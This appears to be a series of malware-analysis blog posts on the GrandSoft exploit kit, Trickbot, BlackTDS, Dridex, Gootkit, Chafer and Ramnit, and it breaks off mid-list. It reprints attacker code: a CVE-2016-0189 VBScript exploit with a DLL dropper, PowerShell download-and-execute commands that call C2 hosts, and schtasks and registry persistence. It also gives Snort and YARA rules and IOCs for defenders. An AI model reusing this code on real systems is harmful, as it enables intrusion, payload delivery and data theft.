I. Internals of GrandSoft Landing Page: Main loop
The Exploit Kit landing page is unofsucated and contains the key main loop searching for plugin version related to the following plugins:
 A. Java
 B. Flash
 C. Silverlight
 D. AdobeReader

1
2
3
4
5
PluginDetect.getVersion("A");  
var verJ = PluginDetect.getVersion("Java");
var verF = PluginDetect.getVersion("flash");
var verS = PluginDetect.getVersion("silverlight");
var verPDF = PluginDetect.getVersion("adobereader");

Once the EK obtains the version it oputlates a UR path appending it to the var “srcOfScript” and concatenats to the string /getversionpd/. Notably, if the EK is unable to profile some of the plugins it generats the string “null.” Finally, the script is added to the iframe object that redirects to the payload retrieval function.

1
2
3
var srcOfScript = "/getversionpd/"+verJ+"/"+verF+"/"+verS+"/"+verPDF;

document.write("<iframe src='"+srcOfScript+"'>");

Notably, the observed landing page contained a unique name identifying the redirect as appending the command “PluginDetect” and “998” forming the request. It stores the request as the variable “uniquename.”

1
2
3
4
         uniqueName: function() 
{
return j.name + "998"
}

II. “PluginDetect” version
The key function that is leveraged across the EK functionality is its “PluginDetect” one with version “0.9.1”The functions populates a list of variables as “installed,” “version,” “version0,” “getVersionDone,” and  “pluginName” that are subsequently populated via the script functionality.

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function() {
var j = {
version: "0.9.1",
name: "PluginDetect",
addPlugin: function(p, q) {
if (p && j.isString(p) && q && j.isFunc(q.getVersion)) {
p = p.replace(/\s/g, "").toLowerCase();
j.Plugins[p] = q;
if (!j.isDefined(q.getVersionDone)) {
q.installed = null;
q.version = null;
q.version0 = null;
q.getVersionDone = null;
q.pluginName = p;
}
}
},

III. detectPlatform
Notably, the Kit profiles platforms that is used to run the malware via grabbing and parasing “navigator.platform” value for Win, Mac, Linux, FreeBSD, iPhone, iPod, iPad, Win.*CE, Win.*Mobile, Pocket\\s*PC.

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
detectPlatform: function() {
var r = this,
q, p = window.navigator ? navigator.platform || "" : "";
j.OS = 100;
if (p) {
var s = ["Win", 1, "Mac", 2, "Linux", 3, "FreeBSD", 4, "iPhone", 21.1, "iPod", 21.2, "iPad", 21.3, "Win.*CE", 22.1, "Win.*Mobile", 22.2, "Pocket\\s*PC", 22.3, "", 100];
for (q = s.length - 2; q >= 0; q = q - 2) {
if (s[q] && new RegExp(s[q], "i").test(p)) {
j.OS = s[q + 1];
break
}
}
}
}

IV. browser
GrandSoft also profiles very specific browser versions via two core functions “detectIE” and “detectNonIE.”
A. detectIE

detectIE function is implemented via grabbing and parsing values “window.navigator” and “navigator.userAgent” looking “MSIE” values.
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
            detectIE: function() {
var r = this,
u = document,
t, q, v = window.navigator ? navigator.userAgent || "" : "",
w, p, y;
r.ActiveXFilteringEnabled = !1;
r.ActiveXEnabled = !1;
...
q = u.documentMode;
try {
u.documentMode = ""
} catch (s) {}
r.isIE = r.ActiveXEnabled;
r.isIE = r.isIE || j.isNum(u.documentMode) || new Function("return/*@cc_on!@*/!1")();
try {
u.documentMode = q
} catch (s) {}
r.verIE = null;
if (r.isIE) {
r.verIE = (j.isNum(u.documentMode) && u.documentMode >= 7 ? u.documentMode : 0) || ((/^(?:.*?[^a-zA-Z])??(?:MSIE|rv\s*\:)\s*(\d+\.?\d*)/i).test(v) ? parseFloat(RegExp.$1, 10) : 7)
}
},

B. browser.detectNonIE
The implementation of “detectNonIE” relies on parsing user agent strings such as “Gecko,” “rv”, “OPR|Opera”, “Edge”, “Chrome|CriOS”, and “Apple|Safari.”

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
    detectNonIE: function() {
var q = this,
p = 0,
t = window.navigator ? navigator : {},
s = q.isIE ? "" : t.userAgent || "",
u = t.vendor || "",
r = t.product || "";
q.isGecko = !p && (/Gecko/i).test(r) && (/Gecko\s*\/\s*\d/i).test(s);
p = p || q.isGecko;
q.verGecko = q.isGecko ? j.formatNum((/rv\s*\:\s*([\.\,\d]+)/i).test(s) ? RegExp.$1 : "0.9") : null;
q.isOpera = !p && (/(OPR\s*\/|Opera\s*\/\s*\d.*\s*Version\s*\/|Opera\s*[\/]?)\s*(\d+[\.,\d]*)/i).test(s);
p = p || q.isOpera;
q.verOpera = q.isOpera ? j.formatNum(RegExp.$2) : null;
q.isEdge = !p && (/(Edge)\s*\/\s*(\d[\d\.]*)/i).test(s);
p = p || q.isEdge;
q.verEdgeHTML = q.isEdge ? j.formatNum(RegExp.$2) : null;
q.isChrome = !p && (/(Chrome|CriOS)\s*\/\s*(\d[\d\.]*)/i).test(s);
p = p || q.isChrome;
q.verChrome = q.isChrome ? j.formatNum(RegExp.$2) : null;
q.isSafari = !p && ((/Apple/i).test(u) || !u) && (/Safari\s*\/\s*(\d[\d\.]*)/i).test(s);
p = p || q.isSafari;
q.verSafari = q.isSafari && (/Version\s*\/\s*(\d[\d\.]*)/i).test(s) ? j.formatNum(RegExp.$1) : null;
},

V. addPlugin
After it grabs all the values, the landing page contains logic to populate and profile 4 different plugins such as “flash,” “adobereader,” “silverlight,” and “java.” Some of the core shortened functions of the function “addPlugin” runs and variables are listed below.
A. j.addPlugin(“flash”, e)

 1
2
3
4
5
6
7
8
9
10
11
12
    var e = {
mimeType: "application/x-shockwave-flash",
setPluginStatus: function(t, q, p) {
var s = this,
r;
s.installed = q ? 1 : (t ? 0 : -1);
s.precision = p;
s.version = j.formatNum(q);
r = s.installed == -1 || s.instance.version;
r = r || s.axo.version;
s.getVersionDone = r ? 1 : 0;
},

B. j.addPlugin(“adobereader”, c)

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    var c = {
OTF: null,
setPluginStatus: function() {
var p = this,
B = p.OTF,
v = p.nav.detected,
x = p.nav.version,
z = p.nav.precision,
C = z,
u = x,
s = v > 0;
var H = p.axo.detected,
r = p.axo.version,
w = p.axo.precision,
D = p.doc.detected,
G = p.doc.version,
t = p.doc.precision,
E = p.doc2.detected,
F = p.doc2.version,
y = p.doc2.precision;

C. j.addPlugin(“silverlight”, h)

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
    var h = {
getVersion: function() {
var r = this,
p = null,
q = 0;
if ((!q || j.dbug) && r.nav.query().installed) {
q = 1
}
if ((!p || j.dbug) && r.nav.query().version) {
p = r.nav.version
}
if ((!q || j.dbug) && r.axo.query().installed) {
q = 1
}
if ((!p || j.dbug) && r.axo.query().version) {
p = r.axo.version
}
r.version = j.formatNum(p);
r.installed = p ? 1 : (q ? 0 : -1)
}

D. j.addPlugin(“java”, a)

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
    var a = {
Property_names: [],
Property_values: [],
Property_values_lock: [],
JAVATOJSBRIDGE: 0,
JSTOJAVABRIDGE: 1,
mimeType: ["application/x-java-applet", "application/x-java-vm", "application/x-java-bean"],
mimeType_dummy: "application/dummymimejavaapplet",
classID: "clsid:8AD9C840-044E-11D1-B3E9-00805F499D93",
classID_dummy: "clsid:8AD9C840-044E-11D1-B3E9-BA9876543210",

pluginObj: 0
},
OTF: null,
getVerifyTagsDefault: function() {
return [1, this.applet.isDisabled.VerifyTagsDefault_1() ? 0 : 1, 1]
}

VI. Exploit VBS CVE-2016-0189 payload 
(Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/getversionpd/null/null//null)

A. Exploit vulnerability
The exploit is identical to the available version on Github leveraging hex-encoded “shell32.” The trigger exploit function is called “SmuggleFag. ” The function resizes the array and overlap freed array area with the exploit string.
The GrandSoft EK example of the array exploit building function is as follows:
 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
Dim aw 
Dim T9lJDdQHhgiB3
Dim lunnga(32)
Dim G0tAyknVP4
Dim y(32)
Dim x0lIEBoNEzX5
k1 = 1
Dim O4EiqKng6
ryririririiriririrooror = 1999 + k1
Dim T5shDvBvweXg7
sddddddddddddddddddddd = "%u4141"
Dim W5mhmePuc8
a9sddddddddddddddddddddad = sddddddddddddddddddddd & sddddddddddddddddddddd

k3 = 32
Dim c7vztnBkf10
fix3 = a9sddddddddddddddddddddad & sddddddddddddddddddddd
Dim u9zxrNOt11
zerofix = "%u0000"
Dim J1mVWOQyTRn12
trifix = zerofix & zerofix & zerofix
Dim f4HnLPliWAsQ13
d = a9sddddddddddddddddddddad & "%u0016" & fix3 & "%u4242%u4242"
F6fIXnZEvCA = "For Each G4xdz In U6kBzX End Function While Not Z7cvb.A9BFC "
b = String(ryririririiriririrooror*k3, "D")
Dim G8GGmkKrCPM15
c = d & b
Dim J9oImLEJe16
x = UnEscape(c)

B. URI Path download of encoded payload from path

C. cmdrun script
Instead of downloading any additional code, the GrandSoft EK simple relies on building the hex-encoded shell32 to %TEMP% (GetSpecialFolder(2)) directory and retrieving and decoding it subsequently.
The relevant code is as follows:

 1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
For i = 1 to Len(hexDial) Step 2 
dlltxt = dlltxt & Chr("&H"&Mid(hexDial, i,2))
Next
Dim i8oKFQXWobb134
Dim N5TmRtvl135

T7dhDuELNcP = " K4fCC = G6WdxBS & Trim(x1OfSy.h3WPqdH()) "
Set c=CreateObject("Scripting.FileSystemObject")
Dim b7osNLBJ137
fttttttttttttttttttttttttttttttt=c.GetSpecialFolder(2)
Dim a4scxQTEDc138
fake32=ttttttttttttttttttttttttttttttt&"\\System32"
Dim U8PvDAdZk139
Dim R0tKOXofLfBm140
If Not c.FolderExists(fake32) Then
Dim s6toCqOQGfJ141
c.CreateFolder(fake32)
Dim e3LXQLVyimNX142
End If
Dim J8pKzTbSOxb143
Dim H5uTerik144
Dim R7PwLxmMpS145
Dim u7TTVOsNdn146
fakedll = c.BuildPath(fake32,"shell32.dll")
Set b=c.CreateTextFile(fakedll)
b.Write "a1"
b.Close
Set b=c.CreateTextFile(fakedll)
b.Write dlltxt
b.Close

Set w=CreateObject("WScript.Shell")
Dim x9vACiVeCR155
w.CurrentDirectory=fttttttttttttttttttttttttttttttt
Dim Z7pMtTvMScyV156
fullCmdRun = cmdRun & fullPath
Dim l5dodqMT157
oldroot=w.Environment("Process").Item("SystemRoot")
Dim H4mQFgFAefUU158
w.Environment("Process").Item("SystemRoot")=ttttttttttttttttttttttttttttttt
Dim C2JTzxJrNXf159
w.Environment("Process").Item("SysFilename")= fullCmdRun
Dim d5ehKWvE160
Set sh = CreateObject("Shell.Application")

VII. Traffic chain
1. BlackTDS
2. GrandSoft EK Landing
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/entourage
3. GrandSoft EK CVE-2016-0189 Exploit
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/getversionpd/null/null//null
4. GrandSoft EK Encoded Payload
Domain: hxxp://qictoeqn[.]incentive[.]jereovivflaminggip[.]xyz/2/[0-9]{8}
5. Payload Location
Domain: hxxp://80[.]211[.]10[.]121/downloads/cl[.]exe
VIII. Snort Rule:

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:”Possible GrandSoft EK exploit serve alert”; flow:established,to_server; http_uri; content:”/getversionpd/”; http_uri; content:”/”; http_uri; content:”/”; http_uri; content:”/”; http_uri; reference:url,http://www.vkremez.com/2018/04/lets-learn-in-depth-reversing-of.html; classtype:Exploit-activity; rev:1;)

Let’s Learn: Trickbot Implements Network Collector Module Leveraging CMD, WMI & LDAP

Goal: Reverse and document the latest module “network64/32Dll,” leveraged by the notorious Trickbot banking malware gang.

Decoded module hash “network64Dll”aeb08b0651bc8a13dcf5e5f6c0d482f8
Decoded config in “network64Dll_configs:

Background:

https://platform.twitter.com/widgets.js Assessment

While reviewing Twitter posts related to Trickbot malware, I was alerted by a few researchers @Ring0x0 and @v0id_hunter to the new module dropped by the Trickbot gang “network64/32Dll.” This specific module appears to be one single harvester of all possible network victim information from running commands such as “ipconfig /all” and “nltest /domain_trusts /all_trusts” to WMI Query Language (WQL) queries such as “SELECT * FROM Win32_OperatingSystem” to lightweight directory access protocol (LDAP) queries. Notably, the gang leverages “nltest” commands to establish trust relationship between between a compromised workstation and its possible domain before quering LDAP. This is not the first time this gang leverages LDAP; they also developer a DomainGrabber module specifically to harvest sensitive domain controller information, as detailed earlier.
This tiny 24 KB module DLL, compiled on Friday March 30, 08:52:12 2018 UTC, is originally called “dll[.]dll.” The module itself consists of only 32 functions.

Possible Attack Methodology

The module is likely used by the gang to expand their access to victim networks possibly identifying high-value corporate domains that they can exploit further either via their “tab” module implementing its ETERNALROMANCE exploit implementation, paired with Mimikatz and/or establish deeper network persistence before they deploy additional malware.
The decoded Trickbot “network64Dll” module contains the usual Trickbot export functions:

  • Control 
  • FreeBuffer
  • Release
  • Start
The module framework is as follows:
I. Network Collector Module
II. Network Communication 
III. Yara rule
I.  Network Collector Module

A. ***PROCESS LIST***
Collects all processes via CreatoolHelp32Snapshot iterating through running processes.
B. . ***SYSTEMINFO***
The list of queried WMQ is based from this expression:
  • SELECT * FROM Win32_OperatingSystem
C. CMD-based calls
The list of all simple command leveraged by the gang:
  • ipconfig /all
  • net config workstation
  • net view /all
  • net view /all /domain
  • nltest /domain_trusts
  • nltest /domain_trusts /all_trusts
D.  LDAP network and domain queries


The list of some of the grouped LDAP queries:
a. ***LOCAL MACHINE DATA***
  • User name
  • Computer name
  • Site name
  • Domain shortname
  • Domain name
  • Forest name
  • Domain controller
  • Forest trees
b. ***COMPUTERS IN FOREST***
  • Name
  • Full name
  • Description
  • Operating System
  • IP-addres
c. ***USERS IN FOREST***
  • E-mail
  • Comment
  • Description
  • Name
d. ***COMPUTERS IN DOMAIN***
  • Name
  • Full name
  • Description
  • Operating System
  • IP-addres
e. ***USERS IN DOMAIN***
  • E-mail
  • Comment
  • Description
  • Name
II. Network Communication

Part of the export “Control” function, the module forms and communicates to the next-layer network via the module network path ending in …///90. The /90 ending is leveraged for POST requests with its content in the following three unique formats:
A. Content-Disposition: form-data; name=”proclist
p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica}
B. Content-Disposition: form-data; name=”sysinfo
C. Content-Type: multipart/form-data; boundary=Arasfjasu7

The unique value “Arasfjasu7″ appears to be a marker/separator specifically for the LDAP query collection upload to split the harvested information. Thanks to @Ring0x0  for the share.
III. YARA RULE
rule crime_trickbot_network_module_in_memory {
meta:
description = “Detects Trickbot network module in memory”
author = “@VK_Intel”
reference = “Detects unpacked Trickbot network64Dll”
date = “2018-04-02”
hash = “0df586aa0334dcbe047d24ce859d00e537fdb5e0ca41886dab27479b6fc61ba6”
strings:
$s0 = “***PROCESS LIST***” fullword wide
$s1 = “(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))” fullword wide
$s2 = “***USERS IN DOMAIN***” fullword wide
$s3 = “Operating System: %ls” fullword wide
$s4 = “yesyes<conf ctl=\"SetCon" ascii
$s5 = “Content-Length: %lu” fullword wide
$s6 = “Boot Device – %ls” fullword wide
$s7 = “Serial Number – %ls” fullword wide
$s8 = “Content-Disposition: form-data; name=\”proclist\”” fullword ascii
$s9 = “Content-Disposition: form-data; name=\”sysinfo\”” fullword ascii
$s10 = “Product Type – Server” fullword wide
$s11 = “***SYSTEMINFO***” fullword wide
$s12 = “OS Version – %ls” fullword wide
$s13 = “(&(objectcategory=person)(samaccountname=*))” fullword wide
$s14 = “Product Type – Domain Controller” fullword wide
condition:
uint16(0) == 0x5a4d and filesize < 70KB and 12 of ($s*)
}

p.p1 {margin: 0.0px 0.0px 0.0px 0.0px; font: 8.5px Helvetica}

Malware Traffic Internals: BlackTDS Social Engineering Drive-By Leads to Fake "Adobe Flash Player"

Goal: Review and document latest BlackTDS traffic distribution leading to fake Adobe Flash Player and its social engineering theme.

Background

https://platform.twitter.com/widgets.js Traffic chain

I. BlackTDS domain redirect hxxp://smarttraffics[.]gq:

html, body { margin: 0; padding: 0; height : 100%; }

<span style="visibility: hidden“><a href="/insert“><VALUE<a href="/register“>
II. Popunder domain redirect using inser /register with hidden visibility.
hxxp://popcash[.]net/world/go/162193/360683
III. Popunder redirect
hxxp://www[.]thegreatfreesystemosforcontenting[.]date/?pcl=&subid=
IV. Fake “Adobe Flash Player” adware redirect:
Domain: hxxp://24newsoft[.]theonlygoodplacecontentsafeup[.]download/?pcl=&subid=&v_id=

V. Fake “Adobe Flash Player” adware download:
Domain: hxxp://www.bestrepositorytours[.]com/

    Addendum: Indicators of Compromise (IOCs):
    Domain:

    • Domain: hxxp://smarttraffics[.]gq
    Popunder:

    • Domain: hxxp://popcash[.]net/world/go/162193/360683
    Popunder redirect:
    • Domain: hxxp://www[.]thegreatfreesystemosforcontenting[.]date/?pcl=&subid=
    Fake Adobe Flash Player Adware Redirect:
    • Domain: hxxp://24newsoft[.]theonlygoodplacecontentsafeup[.]download/?pcl=&subid=&v_id=
    Fake Adobe Flash Player Adware Download:
    • Domain: hxxp://www.bestrepositorytours[.]com/
    Fake Adobe Flash Player Adware:
    • MD5: 69708785506cf581ea5f81725bdb849b
    Update (April 3, 2018): Edited domain referrer to hxxp://smarttraffics[.]gq

    Malware Spam Internals: Docusign Spam Leads Dridex Banking Malware Botnet ID “23005”

    Goal: Reverse and document the latest Dridex banking malware campaign related to botnet ID “23005.”

    https://platform.twitter.com/widgets.js
    Background:
    Thanks to @James_inthe_box, I decided to quickly analyze and document the Dridex botnet ID “23005” spam infection chain leading from the spam campaign impersonating DocuSign. The observed subject of the Dridex campaign was “Please DocuSign the attached Business Activity Statements.”
    Malware Spam Chain:
    I. Spam Microsoft Word Macro Document 

    II. CMD/PowerShell Execution & Download to %TMP%\jjkv.exe & %TMP%\gwzoxu.bat.
    Payload domains: 

    • hxxps://meshbazaar[.]com/src/point[.]pdf
    • hxxp://myhomegt[.]com/src/point[.]pdf

    The Dridex payloads were staged by the operators on March 29 14:12 GMT.

    III. Batch Script Binary Execution

    cmd /c PowerShell “‘PowerShell “”function MASWE([String] $senw){(New-Object System.Net.WebClient).DownloadFile($senw,”%TMP%\jjvkh.exe”);Start-Process ”%TMP%\jjvkh.exe”;} try{ MASWE(”hxxps://meshbazaar[.]com/src/point[.]pdf”)} catch{ MASWE(”hxxp://myhomegt[.]com/src/point[.]pdf”)}'”” | Out-File -encoding ASCII -FilePath %TMP%\gwzoxu[.]bat; Start-Process ‘%TMP%\gwzoxu.bat’ -WindowStyle Hidden”Botnet ID:
    IV. The Dridex binary contains four hardcoded peers communicating  on the quite unusual port 3889. These ports normally associated with “D and V Tester Control Port.”

    V. Addendum: Indicators of Compromise (IOCs):
    Spam subject:
    • “Please DocuSign the attached Business Activity Statements”

    Malicious Word loader (MD5):

    • 5E022694C0DBD1FBBC263D608E577949
    Dridex payload download:
    • hxxp://myhomegt[.]com/src/point[.]pdf
    • hxxps://meshbazaar[.]com/src/point[.]pdf
    First-layer peer block:

    • 46.105.131[.]88:443
    • 198.57.157[.]216:3889
    • 149.202.153[.]251:3889
    • 67.212.241[.]131:443

    Dridex “23005” binary (MD5):

    • MD5: 88ce6c0affcdbdc82abe53957dddfa12

    Malware Traffic Internals: BlackTDS Leads to Gootkit Banking Malware Distribution

    Goal: Review and document latest BlackTDS traffic distribution leading to Gootkit banking malware.
    Background
    While analyzing the BlackTDS traffic distribution, I noticed the BlackTDS iframe leading to the zip archive download that would ultimately download the Gootkit banking malware. Gootkit banking malware gang appears to have started utilizing the BlackTDS for banking malware distribution in addition to the steady stream of spam campaigns (from Mailchip to Mailgun spam abuses), meticulously tracked by @dvk01uk.

    https://platform.twitter.com/widgets.js

    Traffic chain
    I. BlackTDS domain redirect:

    html, body { margin: 0; padding: 0; height : 100%; }
    document.write(‘\location = \’hxxps://quickbooksa[.]com/data/Facture_FA03704.zip\’;\’);
    <a href="/insert“>[BLOB][BLOB]
    II. Download zip archive “Facture_FA03704.zip” containing a JavaScript loader
    MD5 (Facture_FA03704.zip) = 71345b139166482acaa568ac8816c7bc
    III. JavaScript loader “Facture_FA03704.js”:
    MD5 (Facture_FA03704.js) = 1b60021baedc3f9201bcdb40e9b87f62
    IV. Download Gootkit Binary “Facture_c04507.pdf“:
    Domain: anythingpng[.]com/data/facture_c04507.pdf 
    V. Binary launch through CMD/PowerShell loader in %TEMP%
    MD5 (facture_c04507.pdf) = c7c8d584758854bbe0d8e64ef53ae1a8

    cmd.exe /C PowerShell “Start-Sleep 280; try{Start-Process %TEMP%\.exe -WindowStyle Hidden} catch{ }

    Mutex: “ServiceEntryPointThread”

    Additional quick Gootkit anti-analysis:

    Addendum: Indicators of Compromise (IOCs):
    Domain:

    • hxxps://quickbooksa[.]com/data/Facture_FA03704[.]zip
    • anythingpng[.]com/data/facture_c04507[.]pdf 
    Zip archive “Facture_FA03704.zip“:

    • MD5: 71345b139166482acaa568ac8816c7bc
    JavaScript Loader “Facture_FA03704.js”:
    • MD5: 1b60021baedc3f9201bcdb40e9b87f62
    Gootkit Binary “Facture_c04507.pdf”:

    • MD5: c7c8d584758854bbe0d8e64ef53ae1a8

    Let’s Learn: Internals of Iranian-Based Threat Group "Chafer" Malware: Autoit and PowerShell Persistence

    Goal: Reverse-engineer Iranian threat group update “Chafer” payload installer focusing on its persistence Autoit and PowerShell techniques.

    Source

    • Payload fake Microsoft installer “Windows-KB3101246.exe” (MD5: 804460a4934947b5131ca79d9bd668cf; Original timestamp: Monday, July 31, 2017, 19:33:49 UTC)
    • PowerShell script dntx.ps1 (MD5: 5cc9ba617a8c53ae7c5cc4d23aced59d)
    • PowerShell script dnip.ps1 (MD5: 8132c61c0689dbcadf67b777f6acc9d9)
    • nsExec.dll (MD5: b38561661a7164e3bbb04edc3718fe89)
    • Autoit script “App.au3” (MD5: 263bc6861355553d7ff1e3848d661fb8) Original timestamp: Saturday, ‎December ‎2, ‎2017, ‏‎11:08:48 UTC

    Background:
    While investigating payload from the Iranian actor group “Chafer”, I decided to dive deeper into the chain to observe and document some of the interesting persistence and anti-evasive behavior, deployed by the group (thanks to @ClearskySec for the sample).

    Historically. Chafer is known for its surveillance operations targeting various organizations from airlines to engineering, which are primary located in the Middle East. 
    https://platform.twitter.com/widgets.js Outline:
    https://platform.twitter.com/widgets.js

    I. Malware install
    II. Autoit.exe installation
    III. Autoit script “App.au3
    IV. PowerShell script serverclient communications via DNS TXT and IP
    V.  Task Schedule as “SC Scheduled Scan”

    I. Malware install 
    As of March 25, 2018, the initial malware binary masking as Windows-KB3101246.exe” notably appears to carry low detection ratio of 6/63 as displayed on VirusTotal. The binary is also bulky, packed with NSIS with over 1.8 MB of size containing the Autoit3.exe script along with the PowerShell command, and the embedded nsExec[.]dll.
    The malware scripts left various clues as to the original operation and contains well-commented code. Additionally, the operators left commented out what appears to be the original server hxxp://107.191.62[.]45:7023/update[.]php

    ;============================ run powershell in assosation with $method ===============
    Switch $method
    Case 0
    Local $exitcode = RunWait("powershell.exe -nop -executionpolicy bypass -File """ & $HOME & "dnip.ps1""" , '', @SW_HIDE)
    _FileWriteLog(@ScriptDir & "\Ex.log", "Powershell start 0:" & $method & "\t ExitCode:" & $exitcode)
    _FileWriteLog(@ScriptDir & "\Ex.log", "Home:" & $HOME)
    Case 1
    Local $exitcode = RunWait("powershell.exe -nop -executionpolicy bypass -File """ & $HOME & "dntx.ps1""" , '', @SW_HIDE)
    _FileWriteLog(@ScriptDir & "\Ex.log", "Powershell start 1:" & $method & "\t ExitCode:" & $exitcode)
    _FileWriteLog(@ScriptDir & "\Ex.log", "Home:" & $HOME)
    Case 2
    ;Local $SERVER="http://107.191.62[.]45:7023/update[.]php?req=" & $cname
    Local $SERVER="ht"&"tp:"&"/"&"/"& $userver&"/upd" & "ate."& "ph"&"p?req"& "=" & $cname
    $Dwn= "powershell "" " & _
    " &{$wc=(new-object System.Net.WebClient); " & _
    "while(1){try{$r=Get-Random ;$wc.DownloadFile('" _
    & $SERVER & _
    "&m=d','" & $HOME & "dn\'+$r+'.-_');" & _
    " Rename-Item -path ('" & _
    $HOME & _
    "dn\'+$r+'.-_') -newname " & _
    "($wc.ResponseHeaders['Content-Disposition'].Substring(" & _
    "$wc.ResponseHeaders['Content-Disposition'].Indexof('filename=')+9))}catch{break}}}"""

    $Dwn = StringReplace($Dwn, "-_", "dwn")

    RunWait($Dwn, '', @SW_HIDE)


    $DownloadExecute="powershell "" " & _
    "&{$r=Get-Random; "& _
    "$wc=(new-object System.Net.WebClient);" & _
    "$wc.DownloadFile('" & $SERVER & "&m=b','" & $HOME&"dn\'+$r+'.-_');" & _
    "Invoke-Expression ('"& StringReplace($HOME, " ", "` ")&"dn\'+$r+'.-_ >" & StringReplace($HOME, " ", "` ")&"up\'+$r+'-_');" & _
    "Rename-Item -path ('" & $HOME & _
    "up\'+$r+'-_') -newname ($wc.ResponseHeaders['Content-Disposition'].Substring(" & _
    "$wc.ResponseHeaders['Content-Disposition'].Indexof('filename=')+9)+'.txt');" & _
    "Get-ChildItem " & StringReplace($HOME, " ", "` ") & "up\ | ForEach-Object "& _
    "{if((Get-Item($_.FullName)).length -gt 0){$wc.UploadFile('" & _
    $SERVER & _
    "&m=u',$_.FullName)};" & _
    "Remove-Item $_.FullName};Remove-Item ('"& $HOME & "dn\'+$r+'.-_')}"""

    $DownloadExecute = StringReplace($DownloadExecute, "-_", "bat")

    RunWait($DownloadExecute, '', @SW_HIDE)
    EndSwitch


    The malware contains various functions, including the following (the original orthography is preserved):

    CheckDNSIP
    CheckDNSTXT
    MethodFinder (CheckDNSIP/CheckDNSTXT/CheckHttp)
    RunWait(“ipconfig /flushdns”, ”, @SW_HIDE)
    Local $HOME = @UserProfileDir & “\appdata\local\microsoft\Taskbar\”
    Create essential directory
    read method from reg if not exist create registry value (registry persistence)
    create task scheduler

    II. Persistence
    By and large, the malware primarily leverages the directory “%APPDATA%\Local\Microsoft\Taskbar\” (as from the original script: “Local $HOME = @UserProfileDir & “\appdata\local\microsoft\Taskbar\”)for log and script storage. 
    A. The malware achieves persistence via task scheduler leveraging command-line arguments after its initial drop in %TEMP% leveraging Autoit binary freeware BASIC-like scripting language with the custom script “App.au3.” The binary drops the Autoit3.exe execution along with the script to compile that runs via the schtasks feature.

    %APPDATA%\\DROP_BINARY.tmp\” schtasks.exe /create /F /sc minute /mo 1 /tn \”SC Scheduled Scan\” /tr \”‘%APPDATA%\Local\Microsoft\Taskbar\Autoit3.exe’ ‘%APPDATA%\Local\Microsoft\Taskbar\App.au3’\” “

    The original malware Autoit persistence script is as follows writing the log file “Ex.log”:

    ;=============================== create task schedule ===================================
    $txtStr = "schta"&"sks /create /F"&" /sc minute /mo 3 /tn ""SC Scheduled Scan"" /tr ""%userprofile%\appdata\local\microsoft\Taskbar\autoit3.exe '" & @ScriptFullPath & "'"""
    RunWait($txtStr, '', @SW_HIDE)
    _FileWriteLog(@ScriptDir & "\Ex.log", "Method:" & $method)


    B. Additionally, the binary launches itself also via batch leverage Windows Update Standalone Installer (wusa.exe), launched via dropped batch script “RunMSU” from the same “%APPDATA%\Local\Microsoft\Taskbar\”

    echo off
    wusa “%APPDATA%\Local\Microsoft\Taskbar\Windows6.0-KB3101246.msu”

    C. Additionally, the malware achieves registry persistence  as follows creating  “UMe” and “UT”:

    ;============================= read method from reg if not exist create registry value =============
    Local $epocTime = ((@YEAR - 1970) * 31557600) + (int ((@YEAR - 1972) / 4) * 86400) + ((@YDAY - 1) * 86400) + (@HOUR * 3600) + (@MIN * 60) + @SEC
    Local $method = RegRead("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UMe")
    if @error Then
    RegWrite("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UMe", "REG_SZ", "0")
    RegWrite("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UT", "REG_SZ", "0")
    $method = 0;
    EndIf
    Local $lastMethodFinderTime = RegRead("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UT")
    if (@error or $epocTime - $lastMethodFinderTime > 400) Then
    $method = MethodFinder()
    _FileWriteLog(@ScriptDir & "\Ex.log", "newMethod:" & $method)
    RegWrite("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UMe", "REG_SZ", $method)
    RegWrite("HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion", "UT", "REG_SZ", $epocTime)
    EndIf

    Possible actions:
    1. Monitor %APPDATA%\Local\Microsoft\Taskbar\ for possible artifacts related to Autoit scripts and PowerShell script, linked t the group.
    2. Monitor for possible communications to suspicious domains, launched via PowerShell on URI patterns update-[.]php?req=.
    3. Monitor for possible scheduler task “SC Scheduled Scan.”
    4. Block C2: j-alam[.]com

    
    

    Let’s Learn: Deeper Dive into Ramnit Banker "VNC IFSB" Remote Control Module

    Goal: Analyze Ramnit’s hidden Virtual Network Computing (hVNC) remote control module focusing on its hidden desktop creation.
    Source

    • Ramnit main loader (5ae2ad8f0be144ce732badf7dec0a16e)
    • hVNC module (5AE2AD8F0BE144CE732BADF7DEC0A16E)
    • Rig Exploit Kit landing (AS9123 TIMEWEB-AS 176[.]57[.]217[.]89)

    Background:
    While following the Rig Exploit Kit’s distribution of the Ramnit (demetra) banking malware via the Seamless gate, I decided to dive deeper into its “VNC ISFB” module that is most notable running as a thread inside “TRACERT.EXE,” a child process of Ramnit’s svchost.exe

    https://platform.twitter.com/widgets.js
    By and large, Ramnit, which is also known as “demetra” in the underground, leverages the following modules:

    • Antivirus Trusted Module v2.0 (AVG, Avast, Nod32, Norton, Bitdefender)
    • XX’S
